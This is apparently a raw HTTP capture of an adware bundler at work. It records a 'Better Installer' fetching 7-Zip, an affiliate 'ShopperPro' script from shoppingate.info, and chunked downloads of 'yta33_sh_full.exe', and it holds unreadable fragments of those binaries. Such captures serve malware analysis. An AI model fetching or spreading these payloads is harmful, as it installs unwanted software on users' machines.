Connection: Keep-Alive
Cookie: __utma=1.1353110465.1423886295.1423886295.1423886295.1; __utmb=1.1.10.1423886295; __utmc=1; __utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:59:24 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 03:59:24 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=971667-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:57:01 GMT
Content-Type: application/octet-stream
Content-Length: 138809
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 971667-1110475/1110476
]7X..}.u...{.......)..E.x.E.|w..5.rg4.9M@.].EqZk...b...97....p...j....
...w"m.f.. g.G..C..x.q.2S.Q.. .t ...../..4mc.x.\"I.d..Q.{x............
...1..H..o..l.V..OU.......D..X.n....8.L.s..!.f..............9,d..1Y.j.
l..W.........ql.....5....9Jt.4......t...s...!.....B..UX1.R..W..Ot.....
. z.|...L'..8. .p.....d{..V..x.. ....8..P...v.........5KE3...u.'...Oc.
..&....6!...j`.b.....|_i<.Y.^...............QoM.9..y~...M"E..c...,.
......e.s.R.5qQ......O..Z...#........n.w.^...........5.!.....S.i..a..t
.;...ruQu.&r.....Bd%7...S..M..5.F#.........Y.T...M.....$.Ri.j..}_7..U.
E r..`.2././.?.r..jJ.\Wn....K..{..#.....p.....e.2l.K.).G^.l..[.....c..
...j..;...d..2~..y1;Y.........o\. .a........^.l..K. ....o.........2..z
.:...!Q.e...f.1.$2.......R9.....fo.G.fiN0A7............. ?^4.nr..A....
...#F:..ch..l..s<-Db@#.J.3.z..`kI..Z....n.).(R#vo.x.V..Z.q....i...t
O4.{.vFB...mU..6.?...a}yy7.zn......c...).A.[[email protected])..c.*O.....7.
.`...$.:q.V..l..0f.......r.1.d.e..G......4..A.e..x.. L.l..At..j.r.i...
W."gZMh..6E4~...h...."..5v.7!......:.Z.....pKf..h....nSA.5.d.{..pE.`'.
f.O.}.....r.F7$.P.01o....`.....8...Ix..|x.n.......#.~.... 7sf..#..7?.]
x.3..%.}...."..r.b..6...,.....LV%..r..[uwz.J.y:h...2..*.W.G...~.......
....v.j..:].QT,.....lS....vYF..R. ...A.J....X.j.R.......n..3......k...
...}..^...wup7 *....'..>2...Z.......P......L.09....[.c..~..)..$$".9
[email protected]#..a....*[email protected]
Q,W.....m%.9.7.=..Jr.eh.pjB.......8.......T...W.vD..&Y...F.t..L.^...P^
.&..j..KQ....vU.j.......{..!.pZu....!R..\u9..<O..A.%....2..71..
<<< skipped >>>


GET /js/sg_bg.js?AFFILIATE_ID=cfvt_sg&SUB_DISTRIBUTER_ID=IF2Ewsmtycl&BRAND_DISPLAY_NAME=ShopperPro&FALLBACK_URL=http://i.sbitinjs.info/sbitin/javascript.js?hid=aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0&apptitle=ShopperPro&channel=IF2Ewsmtycl HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: inst.shoppingate.info
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sat, 14 Feb 2015 03:59:19 GMT
Content-Type: application/x-javascript
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Thu, 12 Feb 2015 09:31:04 GMT
ETag: W/"9ce52f9fa646d01:0"
X-SN: 07
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
Expires: Sun, 15 Feb 2015 03:59:19 GMT
Cache-Control: max-age=86400
X-Cache: HIT
Content-Encoding: gzip
62f6..............yW.I......w...JY...]..4.1.... \.....L-XHX....g..{c.L
..].3.....2..7..7>...on:......:.j..k.VwG..s.f4..'.o.J{8...n8.{....I
o8(..Vx...&..z.t{.(.L..p...?.... g.r.4..J........p.2.NV....di....,:n]e
......(...Ag.}.....q;.L......$q._..(....j....e.....JI...XN).....v]L.[O
Wz...5.Qv.^.c.YR...r...t}}6...>(.Po.f...9.......{...n.....u'Q.m..l2
..6......:..l0...[XS..M.[...K...a9]...4...T......7..?6./.PJ.m..mT.....
n......g......C..>..3 .i|..Ik\.:.TJ6.v.-..iB...=..v..M..c..JZWK..0.
r..............d...2.n.q..6............ T...l<.G....I7?.)3...x.~..m
.....Oc.........0.BBz.#..?....t.<:~._..w..N...=.....g....G....g....
...........g.7O._.......O.w........~.qp..yp.8;}k..Cy.........{o.......
Od..-..... S.Z-.....)V...-.T..B.C..C......h[|...G.C.*.cQR....SH.......
).A.fA*.Q|s....}.0..3^.....".....E...". q.....l@...*'.m\.......d'.....
.jXC.d....J.p..S/...Jj.....t.0....f......<....kks....... .i2..I..|.
g.n.MV.`..*.?s.8.[...[..... ..i.>`....Nt~Y...N..V....Z .......tv...
.Q..Pv...$.....i...A..j.....L.]...;.......w.i.].?d<...$;.Y]/...Y.!.
-..". K.m.5...[.ww.Z.......h.........'...`j.&..^..K....V.v..`=..3]...o
......X .(..U&.x...o.o.....fe.....kE...R...."X....;.Zpq1..K....S.$.x..
..;)m.......aE.....,\..5...2.N.W.4W...)O...vyP.F)... ..K..BF|s..\..z.1
..#..W./"M...r.c2.V.K.C}B.....4...b..W.QA..p.......UN..-....>M...[?
..B.I.qy....{..[R...I<.V.v.......(..t.....%I..*..&..j.ab [...~.....
.E..n".Jp.....< ;k.G.....Wo...P...)..p....~E.`p~u.%. ...N.....>@
.3q~......Hf{}P.......?.....~=@..<0.....z;[email protected]..
<<< skipped >>>


GET /yta33_sh_full.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-249999/7592848
Age: 39608
X-Cache: Hit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: wRHRe5tLcs1HrnRaEvPmpT2mPFhLPb2U4ZU6STDUJodZmrDIOpgSIQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......5..Yq...q...
q...q...~.......t.......p.......p.......p...Richq...........PE..L.....
.7......................s.............. ....@.........................
..t.....2-t..............................!..5...D ..<[email protected]....
.......s..............................................................
 ..D............................text............................... ..
`.rdata....... ......................@[email protected]...............
[email protected][email protected].................@..@...................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....x...SV.....W......
V3.PS..4 @.......VP......P..0 @..=, @.SSj.Sj.......h....P......E...{..
.......PV..( @[email protected]..$ @[email protected]
.../...SSSj.S.u.... @.SSSj.P.E.... @....E......G.....MZ..t...MZ..u..x.
.t..E.@.}.....|..M.SQh....P.u.... @.W... @..u..=. @....u...... @.j..E.
Y3..}.V.........E.D...P......P..0 @..u.......".......F...:.t..."t.@...
8"[email protected] [email protected]..< @.....E.P.E.PSSSSS...
...SP......P... @...t.j..u.... @.......P..  @._^3.[....:.t... t..H
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 500000-749999/7592848
Age: 39609
X-Cache: Hit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: LiyTFNMgi5q8HbjKk_JOWOPYSe7ii2TUYbDh0aNBaZZsbG3x1FpRAA==
...?.)..=.0...q|. ...N....hi.k..HfI.8E...`.....Qqm..7.g..O...C.g......
.k5..".h7....`M&0?*.'X..D.KSPO5hY..h......<....>...O...<..7..
............}..p ....8(.5..$..|....1...Fny=.....9W.9..{A....y.: .. ..^
v.^Wsl!".R..'.r.@.<...ioM.............wDlk .3..L^\.z\7@.;x..6.]j...
[....-...O.J..q.kt..Af....ed...[F.vT.v|<.&...*].(D.R..n....Fe..M...
.(.X.{$.4..h..%.."Z..C..%.....R.b{.|.[......V..!W.x...~Nj$.U(.5.)....A
84B.5..qr=....3.......'.D.....;...T/...........[Fx.....:..-y{......94.
IH..M......).P...v... .....#yj.`...-....`..h...=.Y...v..V..;......i...
&>...V...'c2.7...4....t..../.f..l.%~G.a .x...(......T.........^A,.n
a...P>...?. .&..^..X.K5-.0<.J#.........w....An.j...m..../.>^k
..I...Y..?.'.k..>5......nG....D.l!..c&......._..Jb.C.h ..m.O....W^.
.@,..?..o.}..P.K@T....)&.G....a.n.8d../[email protected]
.vetE....L$Y...H.....t.....[..}.`..m..L....`.........\v.^\..... ..2.U.
....Qu].vJ.....Pb..ZP.du.>.k.....!.S....7..:..&V.Ya....~..^.W......
..n.n.S.-JeQ..r.F)/..W.O|...'b8.|.l.....Fw.f..y......jB../.iVg........
#... ..D.....[.....x..,.:).]b...K.h%.\.}....| ..P......1: K..?..ux...P
...7w.5-..w.U.I.e{.fh]...........M....<..&...3..........].F..aY.Rj.
......D.3.Q..Y..../?.5......j..........L.P,...7.....]........UUP8X..V7
...=....-.......`;^.,P...b.U.....K.l....yV..0..z.....[Q..!..I......w.B
.nNB0...>.._Q...]V...sm........8.9..3.Kw.B Gl&.....g...0Au...P!...t
..... a.X..v....R...;..W.......6..e..Cu.,%...u....[..<i:....#..{[..
8...q..&._...\.r.4.Uwg5.K|..jaf1.....`........EL..SF..W.N....C.K..
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=1250000-1499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 1250000-1499999/7592848
Age: 39609
X-Cache: Hit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: rFFZx5z9T2ceTaqkrlG-Iez6l271_w9vwGYlc3ZYAZizKu6qJT88ZA==
.NiH..Z.u.......H..j-.[Z%..!6b......6\#.m....:9... ......n%b.J.uI.4...
..n...=.cK.v.x-..,.T"^/4...*.....<U....._5._..<M|...=.i]....n...
YV.....W..V...H.;.....P....R....ynw.'.y....Z...:[.9)Q.&9.....r....D...
66Y..W.....rij.......,.2c.....<..ia$8....H.]..../."W...W.'.-V..z...
...C....Z...o.%.;."......5M.|..NBg.......[..........3......f...n~..M.D
.d2.....".>.T.]==.....?Fy.N..%?.d..,~...P....{..`>.6...$..d3^g..
w..ec...a.O.d.m`[email protected]......<r5.S.............o3M.
..R.s._$-...$.(...8.*.6.%>.~..5...}P.c..d3..2..0....P.U.j.!..8q..MN
...B.PN..c.....7).K.....u..F..$....z..."V..N../~@...."..M...M`[.......
.....i..1Kf......NR......*.1.P]&5gwm(..`.l3..L.HT.Et9.N......K.dc....)
4vU...)<hp|.........Sj/.4H....... 7...'.R..o..[. .._.K....:..S..{..
&J:...>.b..k...*..k.^~.... 8;n....B2.?..0&.n...-6.0....c..7..4B....
~.....jI...K1..G..ISZ^....E.;T.......2y.|..{...\s...s.g...ma.{:#yT....
..k.....y...<[...|ts..].0o..y...k....}....W.y..u....<..T....:O.-
u..y.<.'.y>..?......:....y6.z.|.......o.y>.i.d=k.....u....d.F
Y.E.......;2........2.zY.>....:O..g....O.n.u.w[.'....&......3m.C...
G.5%'|....^............y.(........m".w.....d)1.|b.8...t....5T.Qa....`.
............6.t.6.....8.X.!..9.)......'... ....J*....C.M........,...d2
C.xZL..MJ{......u.D...b.~h...K.....YY.......k........Xi.Wtb.w).F;_i...
...q.~.'72D..t...)I.5...Om.......p.._..&..1....i)r...4o<.]..V..z.O.
[email protected].....?}..#.F:.. ..O...X..Uud..\/..y.P/..........B.Q...
A.C...v3.r.r..{.........s.&.q...h...g.b....<J>..( ].K..k.U..
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=1750000-1999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 1750000-1999999/7592848
Age: 39609
X-Cache: Hit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: br48B5OQnKF8E-r5rAISmyu1mUhFFJHjF-PFMedOwJ-a33B0fWWBIw==
..P...n..q.r....c....'?Cs.kv..:.I...x.G..........u^...u.E%..B.N.8e..d.
Cg.. ...C.....ZI....z.>J.........$*.. }k.Vr...l.f...*...jAk..&~....
"SXpq.1...."...c..l.......2....bk..o.....\.a......^.i=.5.I.Z..Ox8%N ..
.B.....!(....c..j...9..z~B..`l&..Af...^[email protected]. ..=....L0U...
..)....9.....;`.....U.......(F.w....s....s......[....e<.|;9..i.Gh..
.5~h85.S.L.H)t..K........xs.Z-b.........L..rL.Go.j..~...p..Ue..Z..'...
..T.O.?.M...x].E....W.K6>...<......... ......f.=...........Y8..?
..Pa..c..C...J...X....[C;.t.....C. .......p.].l2~.=....=..R...gK...F.d
;npk&.E...}....[..U0..@..][email protected]=.m...R...........UT...........*..=...W.
.5.F\.Y..;..c4...P.D5..'j,9.........Z..(....2..E4.....&.......V<..T
(....GP}7,....2.c...!._w. .WI......k.R`U....,.....j..(......n...H}....
a.<..q...).........*[email protected]^SLX..e._..F....N.
.......u#.RCI|).&..c......<....4..=:..`.-.d..H...Z.X>n.....4.VV.
..g.&.{a~.^.......f.......T.f.}[email protected](;.JYQ.
<.....-.}h.g......6.S.'[........{fi..W..!..K.._.Uq..w..m.u.. (.....
...w...s^..R.T.ei..,.N)...y.G...?........q,...F..D.....-..^R.....kk..~
e....X....(<...7]..gTB...g.....}v.3W.t.h\g.....V...!..pD........'.E
......!...>2.G#B..f...E..&.=p.L.b$:.....%.N..E......A5</.......$
/../...bu$...;.V.V;1......y.%...2..8...K.".....p.....8..l.\^.>7h...
...-.....z.."o...T.|3...jP......[f'...y..ai..IA;..Q...?9j......X.4.'9-
.%..{............j..'I.h.....Q............l.......J.%8....e.:....$u.7[
e...].........d->.I.>N|*.....2.......GO.... ....H.......J...
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=2000000-2249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 2000000-2249999/7592848
Age: 39609
X-Cache: Hit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: UXvxO6X0I1NiPtfZFW9EpUcq8M0JDEzLQSfBO4tpZ8DCDhruTIiK1w==
..(.X..4.....%.pQ. -...!(..`.].x...bu{..(=..`..[ZSjf.....v.|.K.&.f.tz.
.X.~...,..B.T.;j..... 7.Y..e......."Wi"....d.A..jZ...Y...$g.G.T*.,....
.|..dZV..;[email protected]...#..@s.`......X.....7....-g.._....D..g.7....4
.f.Vl..0.............3..(.A..b.#........P....&:h.0 r-.l ]*&.j.aH......
xNnt..."..^dYO..)..:..fS..?U...6m0.6..!..y.v.:.O..~=&s.|V............`
I.'(.#Q ......  ...5......j....P.)...."..Sz<..6....2.h..\t.........
X"Ocm-....XB.c.)$f..!....h...)[email protected]]
..2.O3....,.e......6..f...]...|FRw.......z.o..'b.....I.'..&d.K3.h.....
...V......T ._..i..D.^C..=E1...q.W.$dqa|.$..Z..\.i.....^...Xq....q....
F..MN.eQe....^XP.b.e9.O......u.;....`pLK.V$.K.....Ni$....d...) ...r...
.N...D....ZY...........~.1..G..........2..2o.Bb'..$w..S,y.y...yMY.$...
...%..i.|...r.L..{..^.....%.6#y..'c...Uz..v...h...Ko9...(].s...?1Ds...
..Bf.1..0...Y.\.K.N.Zmq.....9/....kT 9.z.u..|`...._.>(.w.m.B.....GT
j.(.73..,<.dh.P_6...!..d...k..v.*.#br-.7R].&s.M.*....,l4...&..d...Z
...e.[. ...4.........n....F&.....19W.'<.....FT...z.k....m[....M,:..
.....k...&.....0.p./ T.2.t&.M.....|...p..("...3..s..r2?...a:.|y"y....[
...>[email protected]${...YV.[VG.d.....{........".....f....N.
.l'...1..f.~!.X. ...!m.m.4..*L....cf...K,..*Y....P.Q..>.z........gf
..~Ec.Cs..:5..Xd...m.w:...}[email protected]..]?x..t..;Fj...W**.....
O.....;._..}.*..>p.......MfA.....J.RyY.%.4..0a......V...M.....l..\.
..%....k.i.6L...w.T......L.{.>Z..WL.[....4...R....Se.2(C...:.......
.....wE..d.-A....>..MZ.zD.Ql >G...&.4S. ...K.....=.l...E.'..
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=2500000-2749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 2500000-2749999/7592848
Age: 39609
X-Cache: Hit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: VU-2HX0m56sPSWlfdaTqvEyJPpQtb4fwp3ncTPFK9r0vxh_ws7l0wA==
....jh ..M.....I.. x.....;bjX.;l....%..(w..>"V......^.....l.^...r..
. (c.n..dI.R#...o......m.,G.......(.Y/.H...l.........:=...YZ.>U.6..
.. .$<.......9.U...... r..Mi..=...}..=3.........t.uO.&u.4?.....^x38
..6.{.....a .6.K..e...8.'..rT`J. ...`.....#,YU..C.et...R...$q,.`AB.d.]
.=].u...z....../.9.v..2........[`./..~..:6G9.9..yE.S........6...O....H
m..l...i.=nI;).;....]..........5E..5......W.rTN.?.{X4.#.(...4p.J'....q
.|5IX..g{2..........w.!.Z......'*{....<..!......5 ..?D.....&&.!4..!
x....r..}..5..|...........'..................d..........sg...4.x...i..
j.......BzJ...Y.|Aow.x.(.;g.|p...b..!.2.%k..b.V.(.B......:..kD.../..5q
...d.p.3v.A{....ty.B[;Cr.....}Y.a.x_ ..5...~...O.3.f..".~ ....m0..)..i
......![.bT..n.P.n>i)]X..cW}K.....vB.0.L.2.cGv..S.._K|~..._YSF\CX"I
........!...:.$.......A...f.%.E...`|.E.9..P...].F..r.... <[email protected]..
...n.....1.0......>. .e.fl..|.k..3_8V..a.."{IxV..7.g ...p>.Lg...
...od..2......^.;..9B...q......e3..Y.....I."...h.*,Y( ...x%&XU..... t.
...P @7f.%LN...RuN............w..^...a..r....34g....R.0.=..`.....d..L.
..........=..Q.<.....P.X..6fH ........;.....)........i..~.{......O&
gt;.Y....r...K..{P....{..M...W..\....b..>..%. ..\....R..b.6...U...c
..p.I.....2.........._*..2..*z..>y.3.Y8l....&{...D....ms~.p......./
.Ey......x.f6.. I.f...K.H.._D..g(.1~..5..8}uQ..D1[R..r\.9u8Ns.Z[.k...;
G*3........&......s(x.6n>..q...1.q{.jp..}....)._s.^...fp.i.PRS..N..
U,..@{N!....:..7 ..=......O..E..2 .4.?$.....?...B..P.a.-2.....t\5B .}.
...x..uK.1i.b....F...;...B.Y..-...m.....[..A$.#....T...<...d[..
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=3250000-3499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1
Range: bytes=3500000-3749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 3500000-3749999/7592848
Age: 39609
X-Cache: Hit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: h9mbAQXrnY196S6WvKvdRUAGTJi8FojgFSoq0AGur4PzPeiTPHPEgA==
........(.R.....6..~...U...-...'[email protected] M.d.b>.....F
s.k.%.|[email protected]>..lP..N|...wS..A....8C^...Q.....-.f...#>{zZM..&
 b]..)... X.'..[....t&.}.....?6.....


GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=4500000-4749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 4500000-4749999/7592848
Age: 39610
X-Cache: Hit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: VqZICzFTpokJOGLeHAvt-rEM5NCLvUmbISmOMOJ6HiJ480yCPOV2-g==
...!.X&.U.a..\...W...A.:t._.;..m.^I....G.bqbF.c.vX........tS.f8..a....
oW#...$v2....\.@X...*.B......V...[............`S.7..HR.bc%..N..#..]#.B
....|(...X..;.p.D..9......q.....M..~.n'.q.#b..{..F_.e..g.....c...%.G.F
..RU{{f [email protected]...=t..s.....9$...2.][email protected]
....z.Y.:...R....`.O?$..}e:.FI.?....B$ \'.p.../.b.x.v..........E...R.J
[email protected]..]np.D...I.k....B..,.../q..G..h..vIso.o...2J
FIqr...).........).......$U.J...QZ..!/O...(}*."......n..........x.r...
....&e.69F.x4....ro.....$(..\......=.8......Qikz...x>R@x.[...R,L$N.
.L.....kz......%1...:...f...,.t.,[email protected]`.'t.J..`4
..4V....M.OV|.........0[..q..NP.....|..T.5O.S...0.IZV..........n.O....
...*oH..O.Q......=..#y.Wp}.#2[W.k[/.](.....-..O.....oWM..,e..7:.HP....
.......!..>-u.,d;..cYl.....Q...P.`[> ..u*c...pZN*....z.p.-....'.
..s.pA. .`*..<../s.D..Lr....&...3......j.. e."C.1.E.J.....uU.......
......v#Y..D....Z.....4.x..6P..... [email protected]=.
.....t..v...b..9..1.... Za..$..TrQ...5.....h5..X...cD.Z...B..(x...Fj']
B...3...^.d...Ff.v...m.Di.V.,. .gX[N4.m[.....A.N{...pk............0...
.q4..7..L.1.......jwS..k.....`".[.[[email protected]..!..H!.
.:..;....y...|y.......c.Q.uF. ..z..P..b....R..5.`.S^.g.......~} ...t..
9..8.Q:..y..Wh...xQ.1..6.[....."Y3...=\..aA.....2?{.....!..v...H.M....
{IuQ=..3x'H...d..i,.m..c...qF...._q.:[email protected](0h...|... ..`<...L
f...3r.o.. ._.6.e/..5.g...{.8..-..x..`..O.Q..l.....wP.....a.7...-uE..^
k6d...z...M"(g|............H.0]y....mt.......>...2.}c.x.).0l.W.
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=5000000-5249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 5000000-5249999/7592848
Age: 39610
X-Cache: Hit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: fR0ejlj0gICKJf2MAksMiAPTz0ZAwUQsoZgQsMQnerh2x1Nvf1PqhQ==
....


GET /yta33_sh_full.exe HTTP/1.1


Range: bytes=5500000-5749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1
Range: bytes=6000000-6249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3bg798gjlk71j.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Date: Mon, 04 Aug 2014 23:12:05 GMT
Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT
ETag: "e1f48aa094bffe3887d0ffec22eaae1f"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 6000000-6249999/7592848
Age: 39610
X-Cache: Hit from cloudfront
Via: 1.1 ad1289c08e15a848e5c2bc019529785a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: TkXZlWs4hm1-glZ2DP8a5u6kg8U_8z_P6bV9GcHrpBlyCxQkq1K8VQ==
.."RL.2.;O.......c...c.!..|B..nh..<A(2/s...g.n..j9%Cgv.N..S........
..]J....R;o.t.=......`.?.!E.w..U....!.....`*[....P ....ym>B..I...\.
..#k.T..W...`..}hc....m...=....Y!...=.Z4.....p......e...*.}..g........
..Ld..z.....k.r....y3PRS..B....Ty.'..,C.)0~.H...}.=..(5.G..D...c......
O...cCa%k..]..R...?w7.DP....tg......va?..}.k.......|..w96.l....'9.N e.
L...Cc|Xk`....z.....I3n..B5r..1.2.d..!...Z..0..q..,J.].*..'..?.4.E.X.)
....=`....-.....Z....m.....V.....ij........m.Cb.......i......[.......F
.*D.U.A.-.....>]p....V......u{s..&.@... D....f2...G[...T....|'.T{&g
t;...|g.d.lA..3SI7.......d.2...V....... ..*.5.?].E.....KIE......P.L..]
`.w....U8.3vE.xm...'2^$...0o..'..5..H....T.y..S....X!.-....M.....E...}
ep,.J.....~{. .......]....r.J...,X.....;.$F0...3...D.%.....W..5\..I$..
..[.H.....!..>.-.z...f..._...).o..'[email protected].....`....S..V
a.<....1.-.M..T..Yl.w*.'[email protected]:.Tj$K.'6..#.<
;]$Z.I.Sb7GI..&...T.E..f.z.a.l..Ix.MM......4....r.1NnG6...K..`..yL...:
.......2...f.G..<)P).......h.g.nx.."...q..V...kC.\........]'.......
oB'..)....Q.ah.a....,...#..s\..P9$R<.p....pB.....9..._...<......
..9...P.-....Z?%..........h...0......c..`|E...9l.r...).... ..4.. .....
...g..Y.CH0|. .[E........./..*"!.............r.....:..G.....i...i<U
y..w.\.. a.!\..1..p..'L.`%-4....K;.$xt.l.l9.. i...\....u.)...Mu......u
WA}..Ws/..h.|...C].....{...t.*....?....<|T...2.....Y.qU.y,.A &B<
[email protected]...'.:.. ....t..\[email protected][......
............Z..L....ds...../.CY..7e.K.O.k...c..q...0.a...f/v.#...Y
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1


